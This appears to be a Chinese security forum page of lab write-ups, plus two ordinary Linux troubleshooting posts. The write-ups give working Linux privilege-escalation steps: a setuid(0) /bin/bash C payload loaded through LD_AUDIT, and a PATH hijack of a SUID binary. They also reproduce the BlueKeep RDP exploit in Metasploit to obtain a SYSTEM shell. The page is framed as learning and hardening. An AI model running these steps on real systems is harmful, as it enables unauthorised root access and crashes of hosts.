Linux提权(二)

llpkk 发表了文章 • 6 个评论 • 663 次浏览 • 2019-10-11 09:09 • 来自相关话题

Linux提权
 上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
 
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。

1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit
 2.查看ping命令所具有的权限ll /bin/ping
 3.创建target文件硬链接ln /bin/ping /tmp/exploit/target
4.查看target文件权限ll /tmp/exploit/target
5.把target文件加载到内存中exec 3< /tmp/exploit/target
6.查看target在内存的状态ll /proc/$$/fd/3
7.删除target文件rm -rf /tmp/exploit/
8.再次查看target在内存的状态ll /proc/$$/fd/3
9.创建一个c语言代码vim payload.c源码:
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}


10.利用gcc编译这段代码gcc -W -fPIC -shared -o /tmp/exploit payload.c

11.提升到root权限LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination








等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。


sudo配置错误

这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。

1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。


原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:








接着,翻找文件找到其密码:








然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:








最后,用 technawi 自己的密码切换为 root 用户:








linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
  查看全部
Linux提权
 上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
 
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。

1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit

 2.查看ping命令所具有的权限
ll /bin/ping

 3.创建target文件硬链接
ln /bin/ping /tmp/exploit/target

4.查看target文件权限
ll /tmp/exploit/target

5.把target文件加载到内存中
exec 3< /tmp/exploit/target

6.查看target在内存的状态
ll /proc/$$/fd/3

7.删除target文件
rm -rf /tmp/exploit/

8.再次查看target在内存的状态
ll /proc/$$/fd/3

9.创建一个c语言代码
vim payload.c
源码:
void __attribute__((constructor)) init()  // 两个下划线
{
setuid(0);
system("/bin/bash");
}


10.利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c


11.提升到root权限
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination


1.png




等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。


sudo配置错误

这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。

1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。


原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:


2.png



接着,翻找文件找到其密码:


3.png



然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:


4.png



最后,用 technawi 自己的密码切换为 root 用户:


5.png



linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
 

RDP漏洞CVE-2019-0708复现

llpkk 发表了文章 • 4 个评论 • 1058 次浏览 • 2019-09-11 23:58 • 来自相关话题

0x01漏洞描述

在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。

自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。

在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
 
攻击机ip(kali linux):192.168.1.105
靶   机ip(win7  SP1) :192.168.1.106
win7 SP1 镜像地址:ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/
CVE-2019-0708套件:https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw
0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:apt-get update
apt-get install metasploit-framework





 
 
 更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp

需要注意如果没有目录就去创建个。
接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块reload_all之后直接搜索0708漏洞。msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check







 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit
target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。





 
 
现在就是开开心心的等待shell的出现啦





 
 
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?





 
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。set target 1
exploit
随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~





赶紧回头看看靶机有没有什么异常





 
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
 
CVE-2019-0708拿下shell之后直接为SYSTEM权限





 
至此复现结束。
 
0x03 漏洞危害
目前公布的影响范围:Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
 
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
 
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。 查看全部
0x01漏洞描述


在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。

自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。


在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
 
攻击机ip(kali linux):192.168.1.105
靶   机ip(win7  SP1) :192.168.1.106
win7 SP1 镜像地址:
ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/

CVE-2019-0708套件:
https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw

0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:
apt-get update
apt-get install metasploit-framework


7.png

 
 
 更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。
[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>
复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可
rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit 

rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp

cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp

需要注意如果没有目录就去创建个。

接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块
reload_all
之后直接搜索0708漏洞。
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check







 
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit

target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。

info.png

 
 
现在就是开开心心的等待shell的出现啦

8.png

 
 
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?

2.png

 
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。
set target 1
exploit

随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~

4.png

赶紧回头看看靶机有没有什么异常

3.png

 
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
 
CVE-2019-0708拿下shell之后直接为SYSTEM权限

6.png

 
至此复现结束。
 
0x03 漏洞危害
目前公布的影响范围:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
 
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
 
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。

Linux 下root家目录和/bin/下的执行程序更改出现问题解决

ttgo2 发表了文章 • 0 个评论 • 647 次浏览 • 2018-10-23 11:10 • 来自相关话题

 今天我们群里同学出现一个Linux操作后,系统无法正常使用的问题,具体问题的操作是这样的
 
1 、问题复现
step1:在root的用户下执行了如下两个命令:mv /bin/ls /root
mv /root /bin/lsstep2:接下来无法执行ls命令,显示如下:
[root@bogon Desktop]# ls
bash: ls: command not found
[root@bogon Desktop]#
step3:重启系统step4:分析一下,原因
mv /bin/ls  /root  这个命令,把ls命令移动到了root下
[root@bogon ~]# cd /root
[root@bogon ~]# pwd
/root
[root@bogon ~]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ~]#

mv /root /bin/ls  把/root/的文件移动到了 /bin/ls/命令下,这时候root改名为ls,如下:
[root@bogon ls]# pwd
/bin/ls
[root@bogon ls]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ls]#
2 、问题分析
两个问题需要考虑:
重启之后root是否可以正常登陆?普通账号是否收到影响?
root登陆正常,ls无法使用,因为ls命令的路径发生了变化,正常
bash-4.1# ls
bash: ls: command not found
bash-4.1#
普通账号也正常登陆
[yanw@localhost Desktop]$ ls
bash: ls: command not found
[yanw@localhost Desktop]$ 3 问题解决
step1:把/bin/ls/ls 文件拷贝到/root(不是没有root目录了吗?重启系统后root登陆,会根据/etc/passwd 文件里面的root的家目录在创建一个,不受影响)
step2:拷贝ls到家目录
bash-4.1# cp /bin/ls/ls ./
bash-4.1#
bash-4.1#
bash-4.1#
bash-4.1# ./ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#
step3:rm删除/bin/ls  复制ls到/bin下即可,全局使用正常
bash-4.1# rm -rf /bin/ls
bash-4.1#
bash-4.1#
bash-4.1# cp ls /bin/
bash-4.1# ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#




step4:修改一下提示符 ,修改全局变量PS1的值
 
PS1='[\u@\h \w]\$ ' 
 ----注意$后面有一个空格!如果没有空格的话,将会报错!

   \d :代表日期,格式为weekday month date,例如:"Mon Aug 1" 

\H :完整的主机名称。例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux 

\h :仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 

\t :显示时间为24小时格式,如:HH:MM:SS 

\T :显示时间为12小时格式 

\A :显示时间为24小时格式:HH:MM 

\u :当前用户的账号名称 

\v :BASH的版本信息 

\w :完整的工作目录名称。家目录会以 ~代替 

\W :利用basename取得工作目录名称,所以只会列出最后一个目录 

\# :下达的第几个命令 

\$ :提示字符,如果是root时,提示符为:# ,普通用户则为:$
 
step5:为了长期生效我们修改一下 /etc/profile文件,在最后一行添加上    PS1='[\u@\h \w]\$ ' 文件解决
bash-4.1# source /etc/profile
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]#

  查看全部
 今天我们群里同学出现一个Linux操作后,系统无法正常使用的问题,具体问题的操作是这样的
 
1 、问题复现
step1:在root的用户下执行了如下两个命令:
mv /bin/ls  /root
mv /root /bin/ls
step2:接下来无法执行ls命令,显示如下:
[root@bogon Desktop]# ls
bash: ls: command not found
[root@bogon Desktop]#

step3:重启系统step4:分析一下,原因
mv /bin/ls  /root  这个命令,把ls命令移动到了root下
[root@bogon ~]# cd /root
[root@bogon ~]# pwd
/root
[root@bogon ~]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ~]#

mv /root /bin/ls  把/root/的文件移动到了 /bin/ls/命令下,这时候root改名为ls,如下:
[root@bogon ls]# pwd
/bin/ls
[root@bogon ls]# ./ls
anaconda-ks.cfg Documents install.log ls Pictures Templates
Desktop Downloads install.log.syslog Music Public Videos
[root@bogon ls]#
2 、问题分析
两个问题需要考虑:
  • 重启之后root是否可以正常登陆?
  • 普通账号是否收到影响?

root登陆正常,ls无法使用,因为ls命令的路径发生了变化,正常
bash-4.1# ls
bash: ls: command not found
bash-4.1#
普通账号也正常登陆
[yanw@localhost Desktop]$ ls
bash: ls: command not found
[yanw@localhost Desktop]$
3 问题解决
step1:把/bin/ls/ls 文件拷贝到/root(不是没有root目录了吗?重启系统后root登陆,会根据/etc/passwd 文件里面的root的家目录在创建一个,不受影响)
step2:拷贝ls到家目录
bash-4.1# cp /bin/ls/ls ./
bash-4.1#
bash-4.1#
bash-4.1#
bash-4.1# ./ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#
step3:rm删除/bin/ls  复制ls到/bin下即可,全局使用正常
bash-4.1# rm -rf /bin/ls
bash-4.1#
bash-4.1#
bash-4.1# cp ls /bin/
bash-4.1# ls
Desktop Documents Downloads ls Music Pictures Public Templates Videos
bash-4.1#




step4:修改一下提示符 ,修改全局变量PS1的值
 
PS1='[\u@\h \w]\$ ' 
 ----注意$后面有一个空格!如果没有空格的话,将会报错!

   \d :代表日期,格式为weekday month date,例如:"Mon Aug 1" 

\H :完整的主机名称。例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux 

\h :仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 

\t :显示时间为24小时格式,如:HH:MM:SS 

\T :显示时间为12小时格式 

\A :显示时间为24小时格式:HH:MM 

\u :当前用户的账号名称 

\v :BASH的版本信息 

\w :完整的工作目录名称。家目录会以 ~代替 

\W :利用basename取得工作目录名称,所以只会列出最后一个目录 

\# :下达的第几个命令 

\$ :提示字符,如果是root时,提示符为:# ,普通用户则为:$
 
step5:为了长期生效我们修改一下 /etc/profile文件,在最后一行添加上    PS1='[\u@\h \w]\$ ' 文件解决
bash-4.1# source /etc/profile
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]#

 

Linux 安全中环境变量安全涉及提权

ttgo2 发表了文章 • 0 个评论 • 1329 次浏览 • 2018-10-07 10:57 • 来自相关话题

最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。
 
1、Linux的加固项介绍:
1.1 查找未授权的SUID/SGID文件
 
安全基线项目名称:
操作系统Linux SUID/SGID文件安全基线要求项
安全基线项说明:
文件系统-查找未授权的SUID/SGID文件
检测操作步骤:用下面的命令查找系统中所有的SUID和SGID程序,执行:
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性
安全基线项目名称:
操作系统Linux超级用户环境变量安全基线要求项 
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤:执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
 
2、利用过程
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。echo $PATH
/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/binstep2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}step3:进行编译,赋权限并执行ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shelltest@localhost ~]$ ./shell 
   PID TTY          TIME CMD
  2407 pts/1    00:00:00 bash
  2460 pts/1    00:00:00 shell
  2461 pts/1    00:00:00 pssstep4: 攻击测试
使用copy命令进行测试提权
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami3、利用说明
这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。 查看全部
最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。
 
1、Linux的加固项介绍:
1.1 查找未授权的SUID/SGID文件
 
安全基线项目名称:
操作系统Linux SUID/SGID文件安全基线要求项
安全基线项说明
文件系统-查找未授权的SUID/SGID文件
检测操作步骤:
用下面的命令查找系统中所有的SUID和SGID程序,执行:
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done
建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性
安全基线项目名称:
操作系统Linux超级用户环境变量安全基线要求项 
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤:
执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录
确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
 
2、利用过程
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。
echo $PATH
/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin
step2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
step3:进行编译,赋权限并执行
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shell
test@localhost ~]$ ./shell 
   PID TTY          TIME CMD
  2407 pts/1    00:00:00 bash
  2460 pts/1    00:00:00 shell
  2461 pts/1    00:00:00 pss
step4: 攻击测试
使用copy命令进行测试提权
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami
3、利用说明
这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。

Linux 网络故障排除思路和方法

ttgo2 发表了文章 • 0 个评论 • 743 次浏览 • 2018-09-19 20:27 • 来自相关话题

最近在对Linux系统网络配置中同学们出现各种问题,面对问题大家的思路比较混乱,没有解决问题的思路,今天给大家整理一下这个过程,系统能对刚入门的同学有所帮助。
1 ,检测网卡是否UP
服务器网卡有的需要手工开启,如果网卡不开启是无法使用的,开启的方法是ifconfig eth0 up[root@bogon ~]#
[root@bogon ~]# ifconfig eth0 up
[root@bogon ~]#

2,检测到网关是否可以互通
如果无法ping通网关,一般原因是IP地址配置有误,或者网络掩码配置错误,导致无法正常ping通,(这里不包括防火墙作为网关或者网关禁止icmp协议的,)需要保证到网关是通的。
3,测试一下到DNS是否可以互通
ping测试到DNS是否可以互通,如果发现ping 不通,一定是网关配置出现错误,需要检查一下网关的配置,或者检查一下本地路由表是否有到网关的默认路由。[root@bogon ~]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.0.0 * 255.255.255.0 U 0 0 0 eth0
link-local * 255.255.0.0 U 0 0 0 eth0
default bogon 0.0.0.0 UG 0 0 0 eth0
[root@bogon ~]#


[root@bogon ~]# route add default gw 192.168.0.1

4,检查一下DNS服务是否工作正常
一般公网上的DNS还是很稳定的,但是公司或者学校内部的DNS可能有问题出现,简单测试一下本地DNS是否可用,测试方式可以使用nslookup[root@bogon ~]# nslookup www.baidu.com
Server: 202.102.224.68
Address: 202.102.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 61.135.169.125
Name: www.a.shifen.com
Address: 61.135.169.121

[root@bogon ~]#
如果内网DNS有问题,可以临时换成公网的DNS,
 
5 检测浏览器是否使用代理
可以ping通www.baidu.com 但是浏览器无法打开网页,一般都是浏览器配合了代理,取消即可。chrom为例:










 
 
通过这一步一步的排错,一般情况都能解决,如果疏漏了那点,希望大家指正。谢谢。
 
 
  查看全部
最近在对Linux系统网络配置中同学们出现各种问题,面对问题大家的思路比较混乱,没有解决问题的思路,今天给大家整理一下这个过程,系统能对刚入门的同学有所帮助。
1 ,检测网卡是否UP
服务器网卡有的需要手工开启,如果网卡不开启是无法使用的,开启的方法是ifconfig eth0 up
[root@bogon ~]# 
[root@bogon ~]# ifconfig eth0 up
[root@bogon ~]#

2,检测到网关是否可以互通
如果无法ping通网关,一般原因是IP地址配置有误,或者网络掩码配置错误,导致无法正常ping通,(这里不包括防火墙作为网关或者网关禁止icmp协议的,)需要保证到网关是通的。
3,测试一下到DNS是否可以互通
ping测试到DNS是否可以互通,如果发现ping 不通,一定是网关配置出现错误,需要检查一下网关的配置,或者检查一下本地路由表是否有到网关的默认路由。
[root@bogon ~]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.0.0 * 255.255.255.0 U 0 0 0 eth0
link-local * 255.255.0.0 U 0 0 0 eth0
default bogon 0.0.0.0 UG 0 0 0 eth0
[root@bogon ~]#


[root@bogon ~]# route add default gw 192.168.0.1

